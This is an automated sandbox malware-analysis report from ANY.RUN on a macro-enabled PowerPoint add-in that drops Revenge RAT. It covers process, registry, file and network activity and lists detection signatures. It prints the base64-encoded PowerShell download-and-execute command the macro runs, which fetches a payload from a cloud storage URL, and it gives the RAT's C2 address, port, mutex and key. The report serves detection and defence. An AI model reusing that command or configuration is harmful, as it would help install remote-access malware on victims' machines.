Malware analysis mal.ppam Malicious activity | ANY.RUN

Add for printing

File name:	mal.ppam
Full analysis:	https://app.any.run/tasks/8b361779-f73c-42fb-b5c9-94dfcc0b99ef
Verdict:	Malicious activity
Threats:	Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Revenge was one of the most popular remote access trojans to be used in 2019 when it was featured in a huge malicious campaign named “Aggah”. This malware can take remote control of infected machines and spy after the victims. Malware Trends Tracker >>>
Analysis date:	August 21, 2024, 11:28:29
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	macros macros-on-open rat revenge remote
Indicators:
MIME:	application/vnd.openxmlformats-officedocument.presentationml.presentation
File info:	Microsoft PowerPoint 2007+
MD5:	9EFC83953D1CD53C1E4A1CECB7C07828
SHA1:	2C95438D6DB39AF1F28ADDEBC4180EAB9B7599BB
SHA256:	F1877A05B29FF71DEFC0F60D80713B14342333EB7515C77771F5419F480991CF
SSDEEP:	768:l41UHlMO1wx/iagOeRVyO3EsZmyfgxRNUPh37pIRc8M809Os9Jk+9:lMoltYlBeyEEYqiJWRc7808sN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

Add for printing

MALICIOUS
- Microsoft Office executes commands via PowerShell or Cmd
  - POWERPNT.EXE (PID: 6756)
- Unusual execution from MS Office
  - POWERPNT.EXE (PID: 6756)
- Starts POWERSHELL.EXE for commands execution
  - POWERPNT.EXE (PID: 6756)
- Dynamically loads an assembly (POWERSHELL)
  - powershell.exe (PID: 6172)
- Downloads the requested resource (POWERSHELL)
  - powershell.exe (PID: 6172)
- REVENGERAT has been detected (YARA)
  - RegSvcs.exe (PID: 6672)
- REVENGE has been detected (SURICATA)
  - RegSvcs.exe (PID: 6672)
- Connects to the CnC server
  - RegSvcs.exe (PID: 6672)
SUSPICIOUS
- BASE64 encoded PowerShell command has been detected
  - POWERPNT.EXE (PID: 6756)
- Runs shell command (SCRIPT)
  - POWERPNT.EXE (PID: 6756)
- Base64-obfuscated command line is found
  - POWERPNT.EXE (PID: 6756)
- Connects to unusual port
  - RegSvcs.exe (PID: 6672)
- Contacting a server suspected of hosting an CnC
  - RegSvcs.exe (PID: 6672)
INFO
- Disables trace logs
  - powershell.exe (PID: 6172)
- Checks proxy server information
  - powershell.exe (PID: 6172)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 6172)
- Checks supported languages
  - RegSvcs.exe (PID: 6672)
- Reads the computer name
  - RegSvcs.exe (PID: 6672)
- Reads CPU info
  - RegSvcs.exe (PID: 6672)
- Reads the machine GUID from the registry
  - RegSvcs.exe (PID: 6672)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

RevengeRat

(PID) Process(6672) RegSvcs.exe

C2 (1)18.228.165.84

Ports (1)3333

BotnetNyanCatRevenge

Options

Mutex788bf014999d4ae8929

KeyRevenge-RAT

Splitter!@#%^NYAN#!@$

No Malware configuration.

Add for printing

TRiD

.ppam	\|	PowerPoint Macro-enabled Open XML add-in (65.8)
.zip	\|	Open Packaging Conventions container (27.7)
.zip	\|	ZIP compressed archive (6.3)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	0x0006
ZipCompression:	Deflated
ZipModifyDate:	1980:01:01 00:00:00
ZipCRC:	0xf9ba2dfc
ZipCompressedSize:	268
ZipUncompressedSize:	488
ZipFileName:	[Content_Types].xml

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

137

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

6172

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

POWERPNT.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6292

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6672

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft .NET Services Installation Utility

Version:

4.8.9037.0 built by: NET481REL1

Modules

Images
c:\windows\microsoft.net\framework\v4.0.30319\regsvcs.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\mscoree.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll

RevengeRat

(PID) Process(6672) RegSvcs.exe

C2 (1)18.228.165.84

Ports (1)3333

BotnetNyanCatRevenge

Options

Mutex788bf014999d4ae8929

KeyRevenge-RAT

Splitter!@#%^NYAN#!@$

6756

"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" C:\Users\admin\Desktop\mal.ppam /ou ""

C:\Program Files\Microsoft Office\root\Office16\POWERPNT.EXE

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft PowerPoint

Version:

16.0.16026.20146

Modules

Images
c:\program files\microsoft office\root\office16\powerpnt.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

Add for printing

Total events

23 701

Read events

23 332

Write events

350

Delete events

Modification events


(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:	write	Name:	3
Value: 011C08000000001000B24E9A3E01000000000000000300000000000000
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\POWERPNT\6756
Operation:	write	Name:	0
Value: 0B0E10BD144FEF7542A043AD717BE8D4F321E0230046B7CD989DD4F7BCED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511E434D2120C70006F0077006500720070006E0074002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	en-US
Value: 2
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	de-de
Value: 2
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	fr-fr
Value: 2
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	es-es
Value: 2
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	it-it
Value: 2
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ja-jp
Value: 2
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	ko-kr
Value: 2
(PID) Process:	(6756) POWERPNT.EXE	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:	write	Name:	pt-br
Value: 2

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
6756	POWERPNT.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\6FF78D92-8C1D-481A-BE72-1DA0FF093DF5		xml
		MD5:1A123EE5A77CDD6DF7CE674763EE1507	SHA256:6B50F04A52F599BBB444067C8E4A2B974008555396483B508734FB60997DEAE2
6756	POWERPNT.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStoreV3\PowerPoint\ASkwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDBfTnVsbAA.S		binary
		MD5:7154D397A9564F1E7D0AC183AA157A58	SHA256:6E5374F6FEB8E2DC2113D5A6F2B4CDCE25CD4111412FB7D02790ECE093611C97
6172	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_514gtl2s.lmt.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6756	POWERPNT.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin		text
		MD5:5AB732E9A80AD9669D0F91DA96CC9BE8	SHA256:3A7FBC66F78DA2C54BE00BB711E986536DD7F44FF96BCF38DB3AC062E0A76690
6756	POWERPNT.EXE	C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres		binary
		MD5:35F7455FB0FE4ECFA6558B9AA45020BE	SHA256:9B4ED3AC3270F399E8AF1A83A2586D16EC4AD0856BEDBB630BA2FEAA1758D3DD
6756	POWERPNT.EXE	C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd		tlb
		MD5:6C2AAD10FE9518F29483078426432E6D	SHA256:B62809A6094B2B12371D59EEE6FE76C48E2F2BA27CCA5766525B8DF3030C31E0
6172	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_i04es5e3.f35.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6172	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2U4OUSLHJL0UO724KD7T.temp		binary
		MD5:F6064156B97D380782B821DF2A6DF656	SHA256:2731BDFCFDCC80D8D491C8E7B94E0BC02B490F7A4866F75549BCA494617CAE3B
6756	POWERPNT.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\mal.ppam.LNK		binary
		MD5:D96A997A4CA31F9304AC030AE9B91B01	SHA256:12B0B848D0D26231D69DA1C8C35D1E11A24DFAABC63D610C420197E8015499BA
6756	POWERPNT.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin		text
		MD5:CC90D669144261B198DEAD45AA266572	SHA256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1172	svchost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
6756	POWERPNT.EXE	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D	unknown	—	—	whitelisted
6524	backgroundTaskHost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D	unknown	—	—	whitelisted
6756	POWERPNT.EXE	GET	200	23.48.23.156:80	http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl	unknown	—	—	whitelisted
6756	POWERPNT.EXE	GET	200	23.48.23.156:80	http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	unknown	—	—	whitelisted
6756	POWERPNT.EXE	GET	200	23.48.23.156:80	http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	unknown	—	—	whitelisted
6208	SIHClient.exe	GET	200	23.35.229.160:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:138	—	—	—	whitelisted
420	RUXIMICS.exe	20.73.194.208:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
2120	MoUsoCoreWorker.exe	20.73.194.208:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
1492	svchost.exe	20.73.194.208:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
6756	POWERPNT.EXE	52.109.89.18:443	officeclient.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	unknown
6756	POWERPNT.EXE	52.113.194.132:443	ecs.office.com	MICROSOFT-CORP-MSN-AS-BLOCK	US	unknown
6756	POWERPNT.EXE	23.48.23.30:443	omex.cdn.office.net	Akamai International B.V.	DE	unknown
1492	svchost.exe	51.124.78.146:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
3260	svchost.exe	40.113.110.67:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
1172	svchost.exe	40.126.32.140:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	unknown

DNS requests

Domain	IP	Reputation
google.com	172.217.16.206	whitelisted
officeclient.microsoft.com	52.109.89.18	whitelisted
ecs.office.com	52.113.194.132	whitelisted
omex.cdn.office.net	23.48.23.30 23.48.23.18	whitelisted
settings-win.data.microsoft.com	51.124.78.146 20.73.194.208	whitelisted
client.wns.windows.com	40.113.110.67	whitelisted
login.live.com	40.126.32.140 20.190.160.22 40.126.32.68 20.190.160.14 40.126.32.76 40.126.32.138 20.190.160.20 20.190.160.17	whitelisted
ocsp.digicert.com	192.229.221.95	whitelisted
firebasestorage.googleapis.com	142.250.185.138 142.250.186.106 172.217.16.202 142.250.185.234 172.217.18.10 142.250.186.74 142.250.186.170 172.217.16.138 142.250.186.138 216.58.206.74 142.250.184.234 142.250.185.106 142.250.185.170 142.250.185.202 142.250.186.42 142.250.181.234	whitelisted
messaging.engagement.office.com	52.111.231.8	whitelisted

Threats

PID	Process	Class	Message
6172	powershell.exe	Not Suspicious Traffic	INFO [ANY.RUN] Attempting to connect to TLS FireBase Storage
6672	RegSvcs.exe	Malware Command and Control Activity Detected	REMOTE [ANY.RUN] Revenge-RAT Check-In
6672	RegSvcs.exe	Malware Command and Control Activity Detected	REMOTE [ANY.RUN] Revenge-RAT Check-In

1 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

mal.ppam

9EFC83953D1CD53C1E4A1CECB7C07828

2C95438D6DB39AF1F28ADDEBC4180EAB9B7599BB

F1877A05B29FF71DEFC0F60D80713B14342333EB7515C77771F5419F480991CF

768:l41UHlMO1wx/iagOeRVyO3EsZmyfgxRNUPh37pIRc8M809Os9Jk+9:lMoltYlBeyEEYqiJWRc7808sN

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Microsoft Office executes commands via PowerShell or Cmd

Unusual execution from MS Office

Starts POWERSHELL.EXE for commands execution

Dynamically loads an assembly (POWERSHELL)

Downloads the requested resource (POWERSHELL)

REVENGERAT has been detected (YARA)

REVENGE has been detected (SURICATA)

Connects to the CnC server

SUSPICIOUS

BASE64 encoded PowerShell command has been detected

Runs shell command (SCRIPT)

Base64-obfuscated command line is found

Connects to unusual port

Contacting a server suspected of hosting an CnC

INFO

Disables trace logs

Checks proxy server information

Script raised an exception (POWERSHELL)

Checks supported languages

Reads the computer name

Reads CPU info

Reads the machine GUID from the registry

Malware configuration

RevengeRat

Static information

TRiD

EXIF

ZIP

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Malware configuration

RevengeRat

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings